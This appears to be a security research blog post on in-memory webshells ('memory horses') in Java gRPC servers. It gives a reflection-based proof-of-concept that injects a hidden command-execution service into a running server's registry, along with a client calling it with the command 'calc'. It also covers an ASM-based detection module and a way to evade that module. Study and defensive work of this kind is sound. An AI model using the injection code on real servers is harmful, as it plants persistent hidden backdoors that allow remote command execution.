gRPC memory horse research and detection

Foreword

Two weeks ago, I saw the “Memory Horse’s Offensive and Defense Game Journey – gRPC Memory Horse” released by the M01N Team public account. The article introduced how gRPC memory horse is injected into and executes commands. However, the original article only gave a demo of the shooting range. , the poc of using injection is not given, so we will use this article to study it in depth.

gRPC introduction

Before understanding gRPC, you need to introduce the design concept of RPC to better understand the working principle of gRPC.

Remote Procedure Call (RPC) is a computer communication protocol. This protocol allows a program on one computer to call a program running on another computer, eliminating the need for the programmer to do additional work. If it is an object-oriented scenario, it can also be called remote method invocation, such as the well-known Java RMI (Remote Method Invocation) invocation.

gRPC is a high-performance open source RPC framework developed by Google. It is often used for program calling functions and communication in various languages between microservices, greatly increasing the communication efficiency and platform dependence between microservices. At the same time, gRPC uses Protocol buffers as the interface definition language (IDL), and the message structure and RPC remote calling function can be defined through the written proto file.

The coordinated interface is a message structure defined through a proto file. The relevant documentation can be found in Reference[1]. Let’s take a look at the workflow diagram of gRPC’s interface definition language Protocol Buffers:

Combined with the subsequent case description, after the proto file is defined, the code of the corresponding language needs to be generated through the generator and used in the project to establish gRPC calls.

Case description

Here we directly use the open source gRPC shooting range of NSFOCUS Nebula Laboratory to study: https://github.com/snailll/gRPCDemo

First, take a look directly at how his user.proto is defined.

syntax = “proto3”;
package protocol;

option go_package = “protocol”;
option java_multiple_files = true;
option java_package = “com.demo.shell.protocol”;

message User {
int32 userId = 1;
string username = 2;
sint32 age = 3;
string name = 4;
}

service UserService {
rpc getUser (User) returns (User) {}
rpc getUsers (User) returns (stream User) {}
rpc saveUsers (stream User) returns (User) {}
}
You can see that two variables, go_package and java_package, are defined in the file. They are used to clearly indicate the namespace of the package to prevent name conflicts with other languages. The java_multiple_files = true option allows a separate .java file to be generated for each generated class.

After defining the proto file, you can generate grpc code through protoc or maven plug-in. Here I use the protoc binary file and the plug-in protoc-gen-grpc to generate it.

protoc download address: https://github.com/protocolbuffers/protobuf/releases

protoc-gen-grpc plug-in download address: https://repo.maven.apache.org/maven2/io/grpc/protoc-gen-grpc-java/

Use the following two commands to generate the corresponding Java code files:

protoc -I=. –java_out=./codes/ user.proto

protoc.exe –plugin=protoc-gen-grpc-java.exe –grpc-java_out=./code –proto_path=.user.proto
The grpc plug-in here must be renamed to “protoc-gen-grpc-java”, otherwise it will display that the command cannot be found.

Afterwards, the object relationship java file will be generated in the codes file, and the grpc-related UserServiceGrpc.java file will be generated in the code folder.

Add the generated Java file to the developed project, and create a new UserServiceImpl class to implement the grpc method.

package com.demo.shell.service;

import com.demo.shell.protocol.User;
import com.demo.shell.protocol.UserServiceGrpc;
import io.grpc.stub.StreamObserver;

/**

  • @author demo

  • @date 2022/11/27
    */
    public class UserServiceImpl extends UserServiceGrpc.UserServiceImplBase {
    @Override
    public void getUser(User request, StreamObserver responseObserver) {
    System.out.println(request);
    User user = User.newBuilder()
    .setName(“response name”)
    .build();
    responseObserver.onNext(user);
    responseObserver.onCompleted();
    }

    @Override
    public void getUsers(User request, StreamObserver responseObserver) {
    System.out.println(“get users”);
    System.out.println(request);
    User user = User.newBuilder()
    .setName(“user1”)
    .build();
    User user2 = User.newBuilder()
    .setName(“user2”)
    .build();
    responseObserver.onNext(user);
    responseObserver.onNext(user2);
    responseObserver.onCompleted();
    }

    @Override
    public StreamObserver saveUsers(StreamObserver responseObserver) {

     return new StreamObserver<User>() {
         @Override
         public void onNext(User user) {
             System.out.println("get saveUsers list ---->");
             System.out.println(user);
         }
    
         @Override
         public void onError(Throwable throwable) {
             System.out.println("saveUsers error " + throwable.getMessage());
         }
    
         @Override
         public void onCompleted() {
             User user = User.newBuilder()
                     .setName("saveUsers user1")
                     .build();
             responseObserver.onNext(user);
             responseObserver.onCompleted();
         }
     };
    

    }
    }
    Create a Main method to start the Netty service

public static void main(String[] args) throws Exception {
int port = 8082;
Server server = NettyServerBuilder
.forPort(port)
.addService(new UserServiceImpl())
.build()
.start();
System.out.println(“server started, port : ” + port);
server.awaitTermination();
}

Then write the client to call the server method

package com.demo.shell.test;

import com.demo.shell.protocol.User;
import com.demo.shell.protocol.UserServiceGrpc;
import io.grpc.ManagedChannel;
import io.grpc.ManagedChannelBuilder;

import java.util.Iterator;

/**

  • @author demo

  • @date 2022/11/27
    */
    public class NsTest {
    public static void main(String[] args) {

     User user = User.newBuilder()
             .setUserId(100)
             .build();
    
     String host = "127.0.0.1";
     int port = 8082;
     ManagedChannel channel = ManagedChannelBuilder.forAddress(host, port).usePlaintext().build();
     UserServiceGrpc.UserServiceBlockingStub userServiceBlockingStub = UserServiceGrpc.newBlockingStub(channel);
     User responseUser = userServiceBlockingStub.getUser(user);
     System.out.println(responseUser);
    
     Iterator<User> users = userServiceBlockingStub.getUsers(user);
     while (users.hasNext()) {
         System.out.println(users.next());
     }
    
     channel.shutdown();
    

    }
    }
    The server outputs the corresponding parameter request content

gRPC memory horse implementation principle
Let’s start from the server first and see how UserServiceImpl is registered.

int port = 8082;
Server server = NettyServerBuilder
.forPort(port)
.addService(new UserServiceImpl())
.build()
.start();
forPort just creates a new NettyServerBuilder class and sets the port that needs to be bound to start the service.

In the addService method, the newly created UserServiceImpl class is passed into the method body as a parameter.

public T addService(BindableService bindableService) {
this.delegate().addService(bindableService);
return this.thisT();
}
this.delegate() in the code is the io.grpc.internal.ServerImplBuilder class

Follow up to check

See that what is added in the addService method is actually the return value of bindService.

What happens here is the UserServiceGrpc class generated by the grpc plug-in before.

@java.lang.Override public final io.grpc.ServerServiceDefinition bindService() {
return io.grpc.ServerServiceDefinition.builder(getServiceDescriptor())
.addMethod(
getGetUserMethod(),
io.grpc.stub.ServerCalls.asyncUnaryCall(
new MethodHandlers<
com.demo.shell.protocol.User,
com.demo.shell.protocol.User>(
this, METHODID_GET_USER)))
.addMethod(
getGetUsersMethod(),
io.grpc.stub.ServerCalls.asyncServerStreamingCall(
new MethodHandlers<
com.demo.shell.protocol.User,
com.demo.shell.protocol.User>(
this, METHODID_GET_USERS)))
.addMethod(
getSaveUsersMethod(),
io.grpc.stub.ServerCalls.asyncClientStreamingCall(
new MethodHandlers<
com.demo.shell.protocol.User,
com.demo.shell.protocol.User>(
this, METHODID_SAVE_USERS)))
.build();
}
The code inside corresponds to the three method names defined in the proto file.

addService adds methods that need to be registered, and then it is compiled through the Build method and the settings cannot be modified.

public Server build() {
return new ServerImpl(this, this.clientTransportServersBuilder.buildClientTransportServers(this.getTracerFactories()), Context.ROOT);
}
The ServerImpl object is created in the Build method. Let’s take a look at the construction method of the ServerImpl object.

ServerImpl(ServerImplBuilder builder, InternalServer transportServer, Context rootContext) {
this.executorPool = (ObjectPool)Preconditions.checkNotNull(builder.executorPool, “executorPool”);
this.registry = (HandlerRegistry)Preconditions.checkNotNull(builder.registryBuilder.build(), “registryBuilder”);

}
The main focus is on the builder.registryBuilder.build() method, which happens to be the build method of the io.grpc.internal.InternalHandlerRegistry$Builder class.

static final class Builder {
private final HashMap services = new LinkedHashMap();

Builder() {
}

InternalHandlerRegistry.Builder addService(ServerServiceDefinition service) {
    this.services.put(service.getServiceDescriptor().getName(), service);
    return this;
}

InternalHandlerRegistry build() {
    Map<String, ServerMethodDefinition<?, ?>> map = new HashMap();
    Iterator var2 = this.services.values().iterator();

    while(var2.hasNext()) {
        ServerServiceDefinition service = (ServerServiceDefinition)var2.next();
        Iterator var4 = service.getMethods().iterator();

        while(var4.hasNext()) {
            ServerMethodDefinition<?, ?> method = (ServerMethodDefinition)var4.next();
            map.put(method.getMethodDescriptor().getFullMethodName(), method);
        }
    }

    return new InternalHandlerRegistry(Collections.unmodifiableList(new ArrayList(this.services.values())), Collections.unmodifiableMap(map));
}

}
The finally returned Collections.unmodifiableList and Collections.unmodifiableMap convert the list and map into objects that cannot be modified, so the methods in the registered UserServiceImpl object are determined from the beginning.

At this point, the implementation steps of the memory horse can be known. It is necessary to redefine the this.registry value in the ServerImpl object through reflection and add it to the ServerServiceDefinition and ServerMethodDefinition of our memory horse.

Memory horse injection

Since the POC utilization is not directly given in the M01N Team official account, here I can only reproduce it slowly with my own ideas.

Since reflection needs to be used to replace the ServerServiceDefinition and ServerMethodDefinition that were originally set to unmodifiable, a handle to the ServerImpl object is needed.

Since ServerImpl is not a static class, the fields that need to be obtained are not static, so I need to obtain the ServerImpl class in the JVM, but so far I have not thought of any good way to obtain it. If readers have better ideas, you can leave a message to me, and you are welcome to discuss and learn from each other.

The idea of injection is to first obtain the existing ServerServiceDefinition and ServerMethodDefinition in ServerImpl, read them into the new List and Map, and add the WebShell memory horse information to the new List and Map, and finally set the unmodifiable attribute and change the registry object. value.

The Poc is as shown below, and an instance of the ServerImpl object needs to be provided.

public static void changeGRPCService(Server server){
try {
Field field = server.getClass().getDeclaredField(“registry”);
field.setAccessible(true);
Object registry = field.get(server);
Class handler = Class.forName(“io.grpc.internal.InternalHandlerRegistry”);
Field services = handler.getDeclaredField(“services”);
services.setAccessible(true);
List servicesList = (List) services.get(registry);
List newServicesList = new ArrayList(servicesList);

 //Call WebShell's bindService
    Class<?> cls = Class.forName("com.demo.shell.protocol.WebShellServiceGrpc$WebShellServiceImplBase");
    Method m = cls.getDeclaredMethod("bindService");
    BindableService obj = new WebshellServiceImpl();
    ServerServiceDefinition service = (ServerServiceDefinition) m.invoke(obj);

    newServicesList.add(service); //Add new Service to List
    services.set(registry, Collections.unmodifiableList(newServicesList));
    Field methods = handler.getDeclaredField("methods");
    methods.setAccessible(true);
    Map methodsMap = (Map) methods.get(registry);
    Map<String,Object> newMethodsMap = new HashMap<String,Object>(methodsMap);

    for (ServerMethodDefinition<?, ?> serverMethodDefinition : service.getMethods()) {
        newMethodsMap.put(serverMethodDefinition.getMethodDescriptor().getFullMethodName(), serverMethodDefinition);
    }
    methods.set(registry,Collections.unmodifiableMap(newMethodsMap));
} catch (Exception e) {
    e.printStackTrace();
}

}
The above code snippet is just a demo version. The specific implementation requires converting the WebShellServiceGrpc class into bytecode and then defining it into the JVM.

After the injection is completed, execute the following code call on the client:

package com.demo.shell.test;

import com.demo.shell.protocol.WebShellServiceGrpc;
import com.demo.shell.protocol.Webshell;
import io.grpc.ManagedChannel;
import io.grpc.ManagedChannelBuilder;

/**

  • @author demo

  • @date 2022/11/27
    */
    public class NsTestShell {
    public static void main(String[] args) {

     Webshell webshell = Webshell.newBuilder()
             .setPwd("x")
             .setCmd("calc")
             .build();
    
     String host = "127.0.0.1";
     int port = 8082;
     ManagedChannel channel = ManagedChannelBuilder.forAddress(host, port).usePlaintext().build();
    
     WebShellServiceGrpc.WebShellServiceBlockingStub webShellServiceBlockingStub = WebShellServiceGrpc.newBlockingStub(channel);
     Webshell s = webShellServiceBlockingStub.exec(webshell);
     System.out.println(s.getCmd());
     try {
         Thread.sleep(5000);
     } catch (InterruptedException e) {
         e.printStackTrace();
     }
     channel.shutdown();
    

    }
    }

The original defense method given in the public account was to intercept the behavior of dynamically modifying the Service object through RASP technology. In fact, I personally feel that it is not easy to hide here. For example, I can directly modify the upper-level object registry of the Service, or I can modify a certain ServerServiceDefinition of the Services object without adding it but just modifying the existing Method. The object does not need to change the value of Services.

gRPC memory horse scanning and killing
I added a detection module to the memory horse scanning and killing tool MemoryShellHunter that I originally wrote: https://github.com/sf197/MemoryShellHunter

First, use ASM to consume all classes in the transform method in Agent.

ClassReader reader = new ClassReader(bytes);
ClassWriter writer = new ClassWriter(reader, 0);
GrpcClassVisitor visitor = new GrpcClassVisitor(writer,Grpc_Methods_list);
reader.accept(visitor, 0);
The GrpcClassVisitor here is whether the interface of the parent class of the current class inherits from io.grpc.BindableService. If so, it means that this is a gRPC implementation class, so the methods defined in it can be dangerous functions, and further reachability analysis is required. Determine whether there is a dangerous Sink function.

package com.websocket.findMemShell;

import java.util.List;

import org.objectweb.asm.ClassVisitor;
import org.objectweb.asm.ClassWriter;
import org.objectweb.asm.MethodVisitor;
import org.objectweb.asm.Opcodes;

public class GrpcClassVisitor extends ClassVisitor {

private String ClassName = null;
private List<String> Grpc_Methods_list;

public GrpcClassVisitor(ClassWriter writer,List<String> Grpc_Methods_list) {
    super(Opcodes.ASM4, writer);
    this.Grpc_Methods_list = Grpc_Methods_list;
}

@Override
public void visit(int version, int access, String name, String signature, String superName, String[] interfaces) {
    if(superName.contains("ServiceGrpc")) {
        try {
            String cls = Thread.currentThread().getContextClassLoader().loadClass(superName.replaceAll("/", "\.")).getInterfaces()[0].getName();
            if(cls.equals("io.grpc.BindableService")) {
                //System.out.println("SuperName Class:" + cls);
                this.ClassName = name;
            }

        } catch (ClassNotFoundException e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        }
    }
    super.visit(version, access, name, signature, superName, interfaces);
}

@Override
public MethodVisitor visitMethod(int access, String name, String desc, String signature, String[] exceptions) {
    MethodVisitor methodVisitor = cv.visitMethod(access, name, desc, signature, exceptions);
    if(this.ClassName == null) {
        return methodVisitor;
    }else {
        return new MyMethodVisitor(methodVisitor, access, name, desc,this.ClassName,this.Grpc_Methods_list);
    }

}

class MyMethodVisitor extends MethodVisitor implements Opcodes {
    private String MethodName;
    private String ClassName;
    private List<String> Grpc_Methods_list;
    public MyMethodVisitor(MethodVisitor mv, final int access, final String name, final String desc,String ClassName,List<String> Grpc_Methods_list) {
        super(Opcodes.ASM5, mv);
        this.MethodName = name;
        this.ClassName = ClassName;
        this.Grpc_Methods_list = Grpc_Methods_list;
    }

    @Override
    public void visitMethodInsn(final int opcode, final String owner,
            final String name, final String desc, final boolean itf) {

        if(!this.Grpc_Methods_list.contains(this.ClassName + "#" + this.MethodName)) {
            this.Grpc_Methods_list.add(this.ClassName + "#" + this.MethodName);
            //System.out.println(this.ClassName + "#" + this.MethodName);
        }
        super.visitMethodInsn(opcode, owner, name, desc, itf);
    }
}

}
Judgment function logic:

if(discoveredCalls.containsKey(cp.getClassName().replaceAll(“\.”, “/”))) {
List list = discoveredCalls.get(cp.getClassName().replaceAll(“\.”, “/”));
for(String str : list) {
if(dfsSearchSink(str)) {
stack.push(str);
stack.push(cp.getClassName().replaceAll(“\.”, “/”));
StringBuilder sb = new StringBuilder();
while(!stack.empty()) {
sb.append(“->”);
sb.append(stack.pop());
}
System.out.println(“Controller CallEdge: ” + sb.toString());
break;
}
}
}
This has the advantage of being able to find out the gRPC memory horse in the system.

The disadvantage is that when searching for the gRPC implementation class, you need to use the ClassLoader of the current thread to determine whether the parent class inherits from io.grpc.BindableService. Therefore, when attacking, you only need to change the loaded ClassLoader to bypass it.